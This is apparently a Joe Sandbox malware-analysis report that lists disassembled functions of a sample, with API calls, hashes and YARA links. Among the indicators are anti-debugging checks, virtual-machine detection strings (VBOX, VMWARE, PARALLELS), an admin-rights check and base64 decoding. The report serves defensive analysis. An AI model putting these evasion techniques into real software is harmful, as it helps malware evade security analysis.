Part of subcall function 00007FF6A54F3DF0: HeapFree.KERNEL32(?,?,00000000,00007FF6A54FE3EE,?,?,?,00007FF6A54FE76B,?,?,00000000,00007FF6A54FECA9,?,?,?,00007FF6A54FEBDB), ref: 00007FF6A54F3E06
Part of subcall function 00007FF6A54F3DF0: GetLastError.KERNEL32(?,?,00000000,00007FF6A54FE3EE,?,?,?,00007FF6A54FE76B,?,?,00000000,00007FF6A54FECA9,?,?,?,00007FF6A54FEBDB), ref: 00007FF6A54F3E10

Part of subcall function 00007FF6A54E30E4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6A54E3093,?,?,?,?,?,00007FF6A54E2F7E), ref: 00007FF6A54E30ED
Part of subcall function 00007FF6A54E30E4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6A54E3093,?,?,?,?,?,00007FF6A54E2F7E), ref: 00007FF6A54E3112

_get_daylight.LIBCMT ref: 00007FF6A54FAE5C

Part of subcall function 00007FF6A54FAD14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54FAD28

_get_daylight.LIBCMT ref: 00007FF6A54FB0D2
_get_daylight.LIBCMT ref: 00007FF6A54FB0E3
_get_daylight.LIBCMT ref: 00007FF6A54FB0F4
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A54FB334), ref: 00007FF6A54FB11B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: b76617314cf8a75b34ed908ae4ab7c152fd67c1843263fdcdf37470556e16e62
Instruction ID: 92fca410ce37de98d7aeec5ed660f0ff2e5b93892890feaa05efeec419374822
Opcode Fuzzy Hash: b76617314cf8a75b34ed908ae4ab7c152fd67c1843263fdcdf37470556e16e62
Instruction Fuzzy Hash: 30D1D226A0A2428AEB24DF2AD4501BD77A1EF86F98F444136EE4DC7A95DF3CEC45C740

Function 00007FF6A54E2DC8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6A54E2E41
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6A54E2E59
RtlVirtualUnwind.KERNEL32 ref: 00007FF6A54E2E94
IsDebuggerPresent.KERNEL32 ref: 00007FF6A54E2ECD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6A54E2ED7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6A54E2EE2

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 470f221d805a3fad8ae3c12b967cdddf6fe20f5238eb425668d2eef7dd63a99e
Instruction ID: a583d8ea09d89c92d4a7ef3192656d27ee244fc75d2345ad83e7f2f3331d41cc
Opcode Fuzzy Hash: 470f221d805a3fad8ae3c12b967cdddf6fe20f5238eb425668d2eef7dd63a99e
Instruction Fuzzy Hash: C6315336619F8185EB60CF25E8402EE73A4FB86B58F540136EA9D83B55DF3CD9458B00

Function 00007FF6A54D4988 Relevance: 7.9, APIs: 5, Instructions: 440COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D4B47
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A54D4C37
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D4DFF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A54D4EEF
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D4F3B

Part of subcall function 00007FF6A54E7BA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E7BCF

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf$_invalid_parameter_noinfo_noreturn$_invalid_parameter_noinfo
String ID:
API String ID: 93898633-0
Opcode ID: b80876e374300ff4d0c19d722e5e3817ebb8e66b6addca8ad9011ebc660ffa9e
Instruction ID: e8a4fbbd30b9bfd7c5571653659948a29472336fdc5f4f769d803da5f6df68e1
Opcode Fuzzy Hash: b80876e374300ff4d0c19d722e5e3817ebb8e66b6addca8ad9011ebc660ffa9e
Instruction Fuzzy Hash: A6020463F1AA888AFB14CB65D4507FD23A1EB56BD8F404331EE5C97B99EE2CD9418340

Function 00007FF6A54D3CDC Relevance: 7.9, APIs: 5, Instructions: 440COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D3E9B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A54D3F8B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D4153
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A54D4243
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D428F

Part of subcall function 00007FF6A54E7BA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E7BCF

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf$_invalid_parameter_noinfo_noreturn$_invalid_parameter_noinfo
String ID:
API String ID: 93898633-0
Opcode ID: 9e756bb3dfc0d124286016c15491c1990ae2df6e2c09c8d619984af52a27a58a
Instruction ID: 4868497fa691805ce569eef85f4cce088c9c83a47f35217bb44ae0c208c281f7
Opcode Fuzzy Hash: 9e756bb3dfc0d124286016c15491c1990ae2df6e2c09c8d619984af52a27a58a
Instruction Fuzzy Hash: 9E021663F1AA848AFB14CB65D4503FC63A1EB56BD8F404331EE5C97AD9EE2CD9418340

Function 00007FF6A54BA6B4 Relevance: 7.9, APIs: 5, Instructions: 437COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54BA873
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A54BA961
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54BAB27
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A54BAC15
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54BAC62

Part of subcall function 00007FF6A54E7BA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E7BCF

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf$_invalid_parameter_noinfo_noreturn$_invalid_parameter_noinfo
String ID:
API String ID: 93898633-0
Opcode ID: 0d669dadff5d5c7f1685a0821992bafaa3974b14a1f794cd5944ea6bef921f98
Instruction ID: 1dd2a146fdd2eb4f04c17c0544f9dc9e23e788dfb73bfaa06f40d34e559e70ee
Opcode Fuzzy Hash: 0d669dadff5d5c7f1685a0821992bafaa3974b14a1f794cd5944ea6bef921f98
Instruction Fuzzy Hash: 52022463F1AA848AFB10DB65D8507FD23A1EB56BD8F404331DE5C97B9AEE2CD9418340

Function 00007FF6A54A51C0 Relevance: 7.6, APIs: 5, Instructions: 68encryptionCOMMON

Download Yara Rule

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A51F3
CryptStringToBinaryA.CRYPT32 ref: 00007FF6A54A5227
Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock.LIBCMTD ref: 00007FF6A54A526E
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A5292
CryptStringToBinaryA.CRYPT32 ref: 00007FF6A54A52CB

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: BinaryConcurrency::details::CryptEmptyQueue::StringStructuredWork$Concurrency::details::_CriticalLock::_ReentrantScoped_lockScoped_lock::~_
String ID:
API String ID: 1793015442-0
Opcode ID: b1db1362e8f7666fa33966f67872ea6d751e12cb592cb259104bd87ec26e7aa5
Instruction ID: 8ed7b367cc64a1988262c409b1809d295c2f89c7b1afb82afd6ee6fc05bef853
Opcode Fuzzy Hash: b1db1362e8f7666fa33966f67872ea6d751e12cb592cb259104bd87ec26e7aa5
Instruction Fuzzy Hash: 3031FB3261DA8181DA60EB61F4503AFA761FBC6B84F504035EB8DC7B9ADF7CE9048B40

Function 00007FF6A54FB0A4 Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6A54FB0D2

Part of subcall function 00007FF6A54FAD14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54FAD28

_get_daylight.LIBCMT ref: 00007FF6A54FB0E3

Part of subcall function 00007FF6A54FACB4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54FACC8

_get_daylight.LIBCMT ref: 00007FF6A54FB0F4

Part of subcall function 00007FF6A54FACE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54FACF8

Part of subcall function 00007FF6A54F3DF0: HeapFree.KERNEL32(?,?,00000000,00007FF6A54FE3EE,?,?,?,00007FF6A54FE76B,?,?,00000000,00007FF6A54FECA9,?,?,?,00007FF6A54FEBDB), ref: 00007FF6A54F3E06
Part of subcall function 00007FF6A54F3DF0: GetLastError.KERNEL32(?,?,00000000,00007FF6A54FE3EE,?,?,?,00007FF6A54FE76B,?,?,00000000,00007FF6A54FECA9,?,?,?,00007FF6A54FEBDB), ref: 00007FF6A54F3E10

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A54FB334), ref: 00007FF6A54FB11B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: a8e7ba172922adc6102ec0b169fffa80db1e84fa108491f87f32945443e031d2
Instruction ID: 63b4cd99afc0b869ffd1f8447524758ea677e5d072f58b28cf2f8e24d4f970bf
Opcode Fuzzy Hash: a8e7ba172922adc6102ec0b169fffa80db1e84fa108491f87f32945443e031d2
Instruction Fuzzy Hash: 63516136A1A74286E720DF26E8915AD77A0FF4AF88F454135EA4DC3A96DF3CEC448740

Function 00007FF6A54FFAC4 Relevance: 4.7, APIs: 3, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A54F38C4: GetLastError.KERNEL32 ref: 00007FF6A54F38D3
Part of subcall function 00007FF6A54F38C4: FlsGetValue.KERNEL32 ref: 00007FF6A54F38E8
Part of subcall function 00007FF6A54F38C4: SetLastError.KERNEL32 ref: 00007FF6A54F3973

Part of subcall function 00007FF6A54F38C4: FlsSetValue.KERNEL32 ref: 00007FF6A54F3909

GetLocaleInfoW.KERNEL32 ref: 00007FF6A54FFB30

Part of subcall function 00007FF6A54E373C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E3759

GetLocaleInfoW.KERNEL32 ref: 00007FF6A54FFB79

Part of subcall function 00007FF6A54E373C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E37B2

GetLocaleInfoW.KERNEL32 ref: 00007FF6A54FFC41

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: da8683dd3e0e58af869e83b33cf9f304577a22ec7fecedeb05b0833555dcf478
Instruction ID: 273d355a3a6a7d6b730127787498b463ea89823ae8c8fb0623b5b467b97f27aa
Opcode Fuzzy Hash: da8683dd3e0e58af869e83b33cf9f304577a22ec7fecedeb05b0833555dcf478
Instruction Fuzzy Hash: 6B616D72A1A5929BEB24CF19E5802B973A1FF46F48F048135CB9ED3691DE3CE959C700

Function 00007FF6A54A5790 Relevance: 4.5, APIs: 3, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6A54A5822
CheckTokenMembership.ADVAPI32 ref: 00007FF6A54A583C
FreeSid.ADVAPI32 ref: 00007FF6A54A5853

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: be82b1885dd7d7955bcd52d39be54fbf320cbda3d1e64b10f056933fab6e0425
Instruction ID: bd8e02353cc8ee6960fc41e91ffb76c0cd9f968ca4100bcd53ddccf304fb9c1b
Opcode Fuzzy Hash: be82b1885dd7d7955bcd52d39be54fbf320cbda3d1e64b10f056933fab6e0425
Instruction Fuzzy Hash: 14212C7250D7808AF750CB25E46436BBBE0F792B48F540029E7C986AA9CF7DE448CF80

Function 00007FF6A54A7CC0 Relevance: 3.8, Strings: 3, Instructions: 48COMMON

Download Yara Rule

Strings

PARALLELS, xrefs: 00007FF6A54A7CEB
VMWARE, xrefs: 00007FF6A54A7CDF
VBOX, xrefs: 00007FF6A54A7CD3

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID:
String ID: PARALLELS$VBOX$VMWARE
API String ID: 0-3366580982
Opcode ID: 2cc3addcba5be056e9715ab0f8dd42c8806a99efe45192e81d301b53f6a2213c
Instruction ID: edaa118d85d699d058f4311164ed234c70efde96b4a7c792cb294880c1aea902
Opcode Fuzzy Hash: 2cc3addcba5be056e9715ab0f8dd42c8806a99efe45192e81d301b53f6a2213c
Instruction Fuzzy Hash: 05212C3650EF8581EA60CB04F44036AB7A4FB8AB88F500136EACD83B69DF3CD555CB40

Function 00007FF6A54F4750 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF6A54F1CF2), ref: 00007FF6A54F47C4

Strings

GetLocaleInfoEx, xrefs: 00007FF6A54F476C, 00007FF6A54F477D

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 4eb7c83fbd0732192bab9355dfa31452ccf0d7db6d48fe87a0f4cc457e1c94cc
Instruction ID: 16ca81b68ef37aff73cf66df85b5f06072996b2cc7e0e8d18df0caf947bac007
Opcode Fuzzy Hash: 4eb7c83fbd0732192bab9355dfa31452ccf0d7db6d48fe87a0f4cc457e1c94cc
Instruction Fuzzy Hash: 2F01A224B09A8189FB44DB5BB5401AAA7A0EF86FD4F588036DF4D83B69CE3CDD458340

Function 00007FF6A54A81C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

InternetCheckConnectionW.WININET ref: 00007FF6A54A81D3

Strings

http://www.google.com, xrefs: 00007FF6A54A81CC

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: http://www.google.com
API String ID: 3847983778-1587574693
Opcode ID: 2d63d6084c5bc36033196a9e802d62b989daa62fbe7d3658ad10ea2a4e957f56
Instruction ID: 47b488fea2ba89a78c0c7281cbf46dbc4c732949764160ee825392327acd5d2e
Opcode Fuzzy Hash: 2d63d6084c5bc36033196a9e802d62b989daa62fbe7d3658ad10ea2a4e957f56
Instruction Fuzzy Hash: 9FD01725A1D4D29AE7A0D324A81133A2A50FB96B08F941172DACC82AA5DF5DDA54CB11

Function 00007FF6A54FFD0C Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A54F38C4: GetLastError.KERNEL32 ref: 00007FF6A54F38D3
Part of subcall function 00007FF6A54F38C4: FlsGetValue.KERNEL32 ref: 00007FF6A54F38E8
Part of subcall function 00007FF6A54F38C4: SetLastError.KERNEL32 ref: 00007FF6A54F3973

Part of subcall function 00007FF6A54F38C4: FlsSetValue.KERNEL32 ref: 00007FF6A54F3909

GetLocaleInfoW.KERNEL32 ref: 00007FF6A54FFD74

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: 71927cf5d111a0085b870db45152aab8aa78d043065b6d4fcb7de9a32e9aeed0
Instruction ID: c180fe5e8c9c6b8e090d95e7a31cf57e1698692ac74c8ba01e9e42b4671cfb45
Opcode Fuzzy Hash: 71927cf5d111a0085b870db45152aab8aa78d043065b6d4fcb7de9a32e9aeed0
Instruction Fuzzy Hash: 12317132A0A68656EB24DB25E4413BA73A1FF8AF84F448135DA4EC3285DF3CEC59C700

Function 00007FF6A54A7DA0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetAdaptersInfo.IPHLPAPI ref: 00007FF6A54A7DD1

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: 101e0bfac433c4f22afc23d766d719fdae321b226476ae1a5cd67a6f5b6f410d
Instruction ID: 454a11eb38ad71cd0c1a60e811224a97717cacf721bf09856360d9f993c4c53f
Opcode Fuzzy Hash: 101e0bfac433c4f22afc23d766d719fdae321b226476ae1a5cd67a6f5b6f410d
Instruction Fuzzy Hash: F1316522709A8641EBB4CB19E0913BAA7D0F7CAB49F440132EACDC6795DF2DDE418B00

Function 00007FF6A54FF95C Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6A54F38C4: GetLastError.KERNEL32 ref: 00007FF6A54F38D3
Part of subcall function 00007FF6A54F38C4: FlsGetValue.KERNEL32 ref: 00007FF6A54F38E8
Part of subcall function 00007FF6A54F38C4: SetLastError.KERNEL32 ref: 00007FF6A54F3973

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF6A550014B,?,00000000,00000092,?,?,00000000,?,00007FF6A54F1B19), ref: 00007FF6A54FF9FA

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 7ca1aa2e8d1db19ef7e18af03e6ce1dd088753f845cfb804bc33f93447c23711
Instruction ID: 63661646f06c56622fc4ace3f5cc7fa981d5b1491ab260f7e61a48e651ace998
Opcode Fuzzy Hash: 7ca1aa2e8d1db19ef7e18af03e6ce1dd088753f845cfb804bc33f93447c23711
Instruction Fuzzy Hash: 3E112463E096459BEB15CF1AD0806A877A0FB91FE0F448131DA69833C0EE38D9D9C740

Function 00007FF6A54FFF14 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A54F38C4: GetLastError.KERNEL32 ref: 00007FF6A54F38D3
Part of subcall function 00007FF6A54F38C4: FlsGetValue.KERNEL32 ref: 00007FF6A54F38E8
Part of subcall function 00007FF6A54F38C4: SetLastError.KERNEL32 ref: 00007FF6A54F3973

GetLocaleInfoW.KERNEL32(?,?,?,00007FF6A54FFCBE), ref: 00007FF6A54FFF4B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 2ef048004312906b102789e26a2980c8c4b0cdb7b6c31b34a19084624895d655
Instruction ID: 6251cfb1bfd3c70076c1ae59e33bd07071c1f731b04cdef1fbdb92bdf4b01c4a
